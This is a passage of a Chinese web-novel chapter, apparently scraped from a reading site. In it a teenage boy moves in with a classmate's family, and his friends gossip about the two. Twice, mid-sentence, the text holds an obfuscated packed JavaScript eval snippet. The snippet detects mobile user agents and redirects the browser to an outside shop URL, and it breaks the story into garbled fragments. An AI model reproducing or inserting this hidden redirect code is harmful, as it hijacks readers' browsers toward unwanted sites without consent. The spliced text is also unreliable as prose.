少年慢悠悠拉开椅子。“这么急着赶我呢。” 盛柔没跟他斗嘴,今天心情明显格外好,一连给他夹了几个菜。盛北烁扒了几口饭,没什么胃口,就起身回了卧室。 他打开衣柜,随手翻出几件平时常穿的T恤和薄裤子,简单叠了叠塞进行李里。想着反正天热,衣服干得快,也不用带太多占地方。 阮振国在厨房洗碗,盛北烁把东西最后清点了一遍,确认没落下什么,便拎起行李,跟盛柔一起出了门,往家属院七栋走去。 此时的温知妤还在卧室写作业,听到敲门声,正要出去,外面的薛路就率先开了门。 家属院的房子隔音都不好,她能隐约听见外面盛柔的声音。“路路啊真是打扰了,我这会儿来陪小烁把东西放了,小妤呢?在家吧?” 薛路热络地笑着说:“你也太见外了,快进来吧!小妤在卧室写作业呢,她对面那间空屋一直收拾着,正好给小烁住,把东西放那儿就行。” 盛北烁这么快就来了?! 温知妤连忙从椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492289|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上起身,她放学回家图舒服,习惯会换了一身棉质睡裙,浅绿色的款式,有点儿宽松,但好在不透。少女匆匆抬手捋了捋头发,出门前,又快速扫了一眼镜子。 OK,发型也不乱。 少女拉开门,探出半张脸。 盛北烁刚放好行李,闻声恰好往她这边看过了,大眼瞪小眼。 盛柔和薛路在客厅攀谈声声入耳,显得他们这边格外安静。 盛北烁目光飘忽了一瞬,落在温知妤身上,少女眼睛乌黑明亮,睡裙松松垮垮垂到了小腿。 盛北烁没由来的想,她就这么喜欢绿色? 温知妤感到莫名奇妙,就这样被她疑惑地盯了几秒,盛北烁才猛然回过神来,心里暗骂自己他妈的真是有病。 他喉结滚了一下,憋了半天,说:“今下午的错题你整理好了吗?” 哪壶不开提哪壶,温知妤别开视线,心想一下午都在纠结你这破事儿,课都没听。 “嗯。”她含糊应了一声。 温知妤指了指房间右侧:“衣柜在那儿,我帮你一起收拾吧。” 盛北烁避开她的目光,耳尖唰地发烫,心里他妈乱得要命,嘴上却半点不肯软。 “我自己收拾就行,回你房间学习去,耽误了成绩算谁的?” 哇,真是不识好人心! 温知妤也不自找没趣,转头到客厅给盛柔打了声招呼,就回房间继续啃题了。 盛北烁本来二十分钟就把东西收拾好了,结果盛柔还在难舍难分地聊天,他总不好直接催着走,只能靠在房间门边百无聊赖地等着,硬生生又多耗了半小时。 傍晚的风带着点燥热吹过来,他刚松了口气,兜里的手机就震了震,是钟扬发来的微信。 这孙子新改了个什么破网名?差点没认出来。 【心飞扬】:烁哥,明晚上去打球啊,老地方,我们到时候直接在你家楼下等你。[龇牙jpg.] 明晚上他都到温知妤家里了,钟扬几个离得近,又习惯去他家楼下找人,要这样肯定扑空。 但如果直说,以这帮孙子的八卦程度,转头就得拉着一群人瞎起哄,于是随便扯了个理由。 【DAWN】:这段时间有事出去了,不在家。” 钟扬哪是这么容易被糊弄的人。 【心飞扬】:不是吧哥,林飞越那孙子最近谈了个女朋友,直接重色轻友不来了,你怎么也跟着失踪?我心伤悲,莫知我哀! 林飞越不前段时间还天天换网名搞暗恋么,居然这么快就谈上了? 盛北烁这几天很少看微信,这会儿才随手点开他的朋友圈,最新消息是昨晚发的,牵着一只女生的手,腕间还带了根皮筋。 再往下翻,林飞越一天可以发十几条,全是没头没尾的暧昧文案。 他哼笑一声,心想谈恋爱真能让人变成神经病? 钟扬再次连番轰炸。 【心飞扬】:你出去了?去哪儿啊?昨天还在,今天连夜私奔啊? 盛北烁吃瓜呢,懒得再搭理他,修长的指节飞快敲了个字:‘滚’。 对面的钟扬看着那个单字,眉头紧锁。 换做平时,盛北烁早就是长篇大论的回怼,哪次不是唇枪舌战几个来回?今天居然如此之反常。 绝、对、有问题。 15. Chapter15 * 今天补习班难得休假,所以温知妤昨晚整理数学题到了一点,好不容易可以睡个懒觉。她没定闹钟,把手机往枕边一扔就栽进了被窝。 接近九点时,“叮咚”一声消息提示音。 她睡眠本就浅,大清早被这么一吵,整个儿往被子里缩了缩,然后摸过手机,一股子气想看到底是谁吵! 【小葵花】:温温在吗?我有一件很难过的事情QAQ。 好吧,温知妤一下子就消了气,问: 【YUYU】:你怎么啦。 【小葵花】:说白了就是感情上的苦,我朋友圈昨晚有个女生官宣了,我们社团的,明明之前信誓旦旦跟我说好高中寡三年,我不得劲! 温知妤有些好笑地回:别人谈不谈关你什么事啊? 【小葵花】:你、不、懂!放暑假这段时间,我一直在等许浔给我发消息,结果他朋友圈三天两头发打赛什么的可丰富了,就是没给我发![哭jpg.] 这么卷的吗?温知妤瞠目结舌,原来她还在补习班的时候,别人就拿奥数奖了。 【YUYU】:咱们班群不是暑假也发过比赛吗,要不你看他报了哪项,你也参加去? 【小葵花】:温总,不是我说,你眼里咋只有学习啊?! 【小葵花】:不过这确实是个好方法嘿嘿,那我去看看,拜拜~ 温知妤笑着关了手机,被这么一闹腾,瞌睡醒了大半。她躺在床上愣了会儿神,心里默默想着,还好她没喜欢过谁,不然成天琢磨别人的心思,也太累了。 她肚子有点儿饿了,洗漱后便去了厨房。锅里有薛路给她留的饭,不过她向来没有清晨吃热食的习惯。 温知妤拉开冰箱门,拿出袋装的荞麦面包,撕开封口,往烤箱里一放,等待的时间里,她顺手点开了微信。 班群两天前确实发过一条英语竞赛报名册,但她当时忙着补习,倒没怎么注意。这么想着,温知妤就打开文档仔细看了起来。 叫“奥林杯”,含金量倒挺高,是国家级比赛,时间在半个月后,地点是绵城。 绵城距离他们这儿不近不远,坐高铁大概一个多小时,包往返路费和酒店住宿,看样子锦城一中还蛮重视这次比赛的。 温知妤在报名册后方看见了余葵的名字,这人真是行动派啊,她不由得抿了抿唇。 旁边的烤箱‘叮当’一声,温知妤把箱门打开,麦香味混着淡淡的焦香扑面而来,她心满意足抹了几勺辣酱,一边吃一边看手机。 微信好友申请的标突然亮了,少女点进去一看,网名很简单就是一个‘许’,验证消息山火写着:你好,我是许浔。 真是说什么来什么,她有点儿心虚,怀疑自己和余葵的聊天记录被泄露了。 温知妤点了同意,过了一会儿,对面发来一条消息。 【许】:温同学,你参加这次英语竞赛吗?我看到余葵也报了名,所以才来问你。 wow居然是因为余葵,看来还挺关注她的嘛。少女笑了笑,回复道: 【YUYU】:我暑假有补课班,虽然半个月后刚好结课了,但我还没考虑好去不去。 【许】:感觉这回老师们都还挺重视的,像徐栀她们都报名了,你英语成绩跟我差不多,我觉得可以试一试。 温知妤切回班群页面一看,班上成绩拔尖点的同学果然都在名单上了。 不过她好纠结啊,刚补完课就要去竞赛,也太苦命了吧! 【YUYU】:我考虑一下,谢谢。 【许】:嗯,那你想好了,给我说。 温知妤眨眨眼,吃了早饭有点儿晕碳,累了一周,索性放纵一天吧。她这么想着,便去卧室睡了个回笼觉。 * 一直到半下午,温知妤被开门声吵醒,她慵懒地掀起眼皮,看了眼手机才五点钟,薛路今天提前回来了。 “妤妤,赶紧起来收拾收拾,待会儿小烁过来了啊。”薛路朝着温知妤卧室方向喊了一声,便进了厨房做晚饭。 温知妤差点忘了这事,她脑子还带着久睡的昏痛,翻身下床。 她随便换了身简单的连衣裙,在书桌前坐了一会儿,就听见客厅来人了。 少年声音不像平时那样没个正形,倒挺规矩地站着叫了声“薛姨”。 温知妤在纠结着要不要出房间门,但现在出去岂不是很尴尬?她又不知道和盛北烁有什么话题聊。 薛路显然没给她这个机会,在厨房喊了声:“妤妤,家里没有醋了,你去外面小卖部买一瓶吧!” “好。”温知妤应了声。 她又听见盛北烁的声音响起。“薛姨,我去吧,反正也闲得没事。” 薛路一听,当即笑着应下,语气里满是客气与赞许:“你这孩子也太懂事了,那叫妤妤陪你去吧!” 又她。 落日像个燃烧的饼,虽然有下山之势,风还是一卷卷拍来热浪。 温知妤在前面走着,后背冒了细汗,倒也不全是热的,主要是身后那人不说话,她觉得有几分不自在。 人尴尬时就会显得很忙,少女假装忙碌地低头给余葵发消息。 【YUYU】:今天许浔跟我提起你了诶,他注意到你也报了英语竞赛,还来问我去不去。 对面收到消息明显很激动,余葵直接给她发了条语音,温知妤只能微微侧头,声孔对着耳朵。 “啊啊啊我好激动,说明他是关注我的对不对!!” 【YUYU】:哈哈哈瞧你那点出息,行了,我也觉得你俩有戏。 余葵觉得今天温知妤话格外多,便继续问: “那你要参加吗?按你的英语水平拿奖那不是分分钟的事儿!再说咱俩还能做个伴呢。” 【YUYU】:我还在纠结ing。暑假补课够累的了。[哭jpg.] 【小葵花】:那正好咱俩去绵城一趟,顺便当旅行了~ 盛北烁漫不经心瞥了温知妤一眼,少女高马尾随意垂在肩边,被阳光染成了好看的颜色,她正低着头,小手飞快敲着什么。 忙死她了,买个东西都能聊一路。 少年默不作声收回目光,转身到小卖部拿了瓶醋,等他出来时,温知妤还站在门口聊。 盛北烁招呼也不打,直接迈开长腿走了,过了一会儿,少女猛然抬头,看见他都走了老远了。 她愣了几秒,连忙小跑着追了上去,心想这人脾气怎么时好时坏的。 * 不远处,钟扬和李佳阳几个男生刚从篮球场回来,球衣被汗浸透了,勾肩搭背嚷嚷着要去小卖部买冰水喝。刚拐过路口,眼尖的钟扬脚步骤然停下。 “卧槽什么情况??”钟扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492290|202286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可思议地用胳膊肘抵了抵李佳阳。 几人立马顿住脚步,顺着他的目光望过去,正好看见盛北烁从小卖部出来,身后不远处,温知妤提着裙摆小跑着去追他。 “真假的?之前不是说温知妤可高冷了,这怎么还……跟在盛哥后面?” 另一个男生也凑过来,小声起哄:“不是吧,先前不是她先把盛哥忘了吗,这下怎么还倒追??” 李佳阳经常跟他们约球,也是个爱八卦的性子,当即给了他个眼神,一行人鬼鬼祟祟跟在人后面,发现他俩进了一个单元门。 钟扬当即目瞪口呆:“不是?盛北烁这狗东西怎么还跑人家里去了?” 他越想越气:“我说他昨天怎么找借口说有事出去,合着是去幽会了?单身狗没惹任何人!” 李佳阳摸着下巴,在旁边提醒:“而且还说是‘一段时间’……” “他俩同居了?!” * 两人在前面各自有心事,全然没有察觉。到家后,薛路已经把面做好了,桌上还放了一排小巧的调料盒,生抽、辣椒油、醋等分门别类。 温知妤和薛路口味向来不合,一个无辣不欢,一个更喜欢清淡,所以平日里吃饭,调料从来都是各自按需添加。 盛北烁瞧着这些小盒子,只见温知妤十分专业地一勺勺往自己碗里添,跟个松鼠似的,觉得吧还挺有意思。 少女刚弄完,旁边的手机又震动起来,于是她又低头,手指在屏幕上滑动,嘴角都勾了起来。 和谁聊啊这么高兴? 盛北烁闷闷地想着,一不留神又他妈给碗里醋放多了。 温知妤现在心情美得很,就这段时间里,她已经跟余葵规划好了,公费去绵城参加竞赛一天,再顺便旅游两天,既顾上学习又省了路费,她俩真是天才! 温知妤想起答应许浔的话,便给他发了条消息:我和小葵花都决定要去了。 【许】:好啊,到时候我们可以同路。 同路诶!还是许浔这种内敛的人主动说的,小葵花和他不会真要成了吧? 温知妤想到这里,没忍住笑了。 * 吃完晚饭,盛北烁刚来别人家,也不好意思啥也不干,就主动要去洗碗。 薛路‘哎呀’一声,坚持拦着:“哎呀,不用你动手,阿姨来洗就行,你快去跟妤妤一块儿坐着看电视去。” 温知妤已经窝在沙发里,手里捏着遥控器,腿上放了包黄瓜味薯片,正看得入神。盛北烁走过来,垂眸往屏幕上扫了一眼,右下角正播着《夏至未至》。 少年懒洋洋往沙发上一靠,抄着手跟她一起看。温知妤看得正起劲,也没在意身边多了个人。 因为楼层低,窗外蝉鸣此起彼伏,夹杂着楼下老人乘凉的闲谈声,风吹来了草木的气息,夏夜便流动起来,而他们就这样安静地坐着。 剧情发展到女主因为男主太过耀眼而不敢接近,最终只能渐行渐远。看到这里,温知妤没忍住叹了口气,小声嘟囔: “小夏也是很好的人啊,暗恋那么辛苦,怎么不敢说出口呢?” 盛北烁好笑地看了她一眼:“说出口,那还叫暗恋吗?” 温知妤没想到被他听见了,“哦”了一声。 “我就不喜欢这种,搞暗恋的人胆也太小了吧。” 盛北烁:……